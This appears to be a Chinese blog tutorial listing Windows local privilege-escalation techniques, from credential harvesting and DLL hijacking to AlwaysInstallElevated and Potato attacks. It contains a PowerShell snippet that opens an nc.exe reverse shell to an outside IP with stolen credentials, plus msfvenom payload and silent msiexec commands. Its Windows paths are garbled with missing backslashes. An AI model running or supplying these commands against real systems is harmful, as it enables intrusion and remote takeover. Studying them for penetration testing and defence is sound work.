![5fc80be77c5d76dfc0d13ff890b13579.png](https://i-blog.csdnimg.cn/blog_migrate/f95deb5b7f0bdc6b27a5a98832f171b5.jpeg)
学习技术只为更好的保障自身 公司安全,切勿违规操作,有什么不懂的技术问题可以私聊~
方法一:winPEAS寻找可提权的地方
仓库地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
![7bf8e1f6ee76be7c8ec7667f4b2d6684.png](https://i-blog.csdnimg.cn/blog_migrate/60ea6d7869f5c4e785f58c6608f22d61.jpeg)
也可以用lazagne来收集密码,如果找到一个RDP可连接密码,可以用以下ps1来运行执行命令
$secpasswd = ConvertTo-SecureString "password321" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("john", $secpasswd)
$computer = "GHOST"
[System.Diagnostics.Process]::Start("C:userspublicnc.exe","192.168.0.114 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
方法二:本地存储的凭证是否有可利用的
cmdkey /list查询当前存储的凭证
![928dc9b18842621e603ff1aa7e1f55e8.png](https://i-blog.csdnimg.cn/blog_migrate/95cba98543d8f0963282dca181b3cc0c.png)
以存储凭证的用户执行command
runas /savecred /user:JIUSHI-PCjiushi ““
![61903bcfda4a5b2cd7d9fe9cacb71092.png](https://i-blog.csdnimg.cn/blog_migrate/c429aeef4d2fc5b7b89b7f1bacbf2b08.jpeg)
方法三:缺少的补丁提权
检查由于缺少补丁程序而造成的漏洞,使用exp提权
windows提权exp地址:https://github.com/SecWiki/windows-kernel-exploits
方法四:DLL劫持
windows程序在启动时查找dll。如果这些DLL不存在,则可能通过在应用程序寻找的位置放置恶意DLL来升级特权
通常,Windows应用程序将使用预定义的搜索路径来查找DLL,并将按特定的顺序检查这些路径:
- 当前程序目录
- C:WindowsSystem
- C:WindowsSystem32
- 当前程序目录
- PATH变量里的路径
自动搜索DLL劫持工具
仓库地址:https://github.com/itm4n/Ikeext-Privesc
![ce2186af835d5fc5c99fc4495b21cdad.png](https://i-blog.csdnimg.cn/blog_migrate/c9f5b72695e7aa6ce61c2d13a93489aa.jpeg)
方法五:服务问题
(1)服务路径没带引号
(2)服务路径所指向的可执行文件,可执行文件夹权限可被访问。用于替换exe
(3)服务注册表权限
(4)脆弱的服务权限,可被更改
之前说过,不在重复说明:windows配置错误导致的提权 | 九世的博客
方法六:始终安装提升
Windows可以通过AlwaysInstallElevated组策略允许低特权用户使用系统特权安装Microsoft Windows Installer软件包(MSI)
![1f0a3a2cd36e3ed5eb3a33feecb14770.png](https://i-blog.csdnimg.cn/blog_migrate/be40fc0effbc8611fdefb75000573416.png)
msf create msi
msfvenom -p windows/x64/exec cmd=calc.exe -f msi -o test.msi
![7b7a0ff7476c114a870f75eee769f984.png](https://i-blog.csdnimg.cn/blog_migrate/44db5b933d06c7fb304f5f17faea172c.png)
msiexec install
msiexec /quiet /qn /i <msi.path>
反之uninstall msi
msiexec /quiet /uninstall <msi.path>
![ae18322a626d1b780588b6f50a4620f2.png](https://i-blog.csdnimg.cn/blog_migrate/1baf2519eea47876f919d153b7582bd7.jpeg)
Process观察进程可见到是SYSTEM权限运行的
![cc07017165683801ab7b5a344e4f7e92.png](https://i-blog.csdnimg.cn/blog_migrate/f333dcaca7ed18dca217e3a40bfb8dff.png)
方法七:修改的自启运行
如果可以修改自动运行的路径,因此将文件替换为有效负载。 要以提升的特权执行它,我们需要等待Administrators组中的某人登录。
![0fdf2dd986222168a366ce048e7b1a8f.png](https://i-blog.csdnimg.cn/blog_migrate/bae7deabddb61ff4b574e7e8dd03e2fc.png)
检查各个文件夹的权限
icacls "<dirpath>"
![3339c1b2c7608b79a410621c8997f46d.png](https://i-blog.csdnimg.cn/blog_migrate/d0b5ad09c40b8cae960d937de167feff.png)
当其中一个文件夹有权限可以进行控制的话,生成exe替换掉原有的exe
![6855610864805054d0d6face2d932d8d.png](https://i-blog.csdnimg.cn/blog_migrate/43733e477885d4e58a10c8b81fb092c5.jpeg)
![40e4172a5353c4606db87bd33f041e0d.png](https://i-blog.csdnimg.cn/blog_migrate/25ac14d9ba4037ed69898a5bdff25f5b.png)
方法八:烂土豆提权(Tater / Hot Potato)
条件限制:
1.需要支持SeImpersonate或者SeAssignPrimaryToken权限(通常情况下IIS、MSSQL具有这两个权限)
2.开启DCOM本地支持RPC或者远程服务器支持PRC并能成功登录
3.能够找到可用的COM对象
juicy-potato:https://zhuanlan.zhihu.com/p/113178989
改进版juicy-potato:https://www.t00ls.net/viewthread.php?tid=47362&highlight=potato
对应编号:MS16-075 https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
方法九:第三方服务提权
通过枚举正在运行的服务,查其权限。看看有什么可以利用的,比如mysql的UDF
wmic service where started=true get name, startname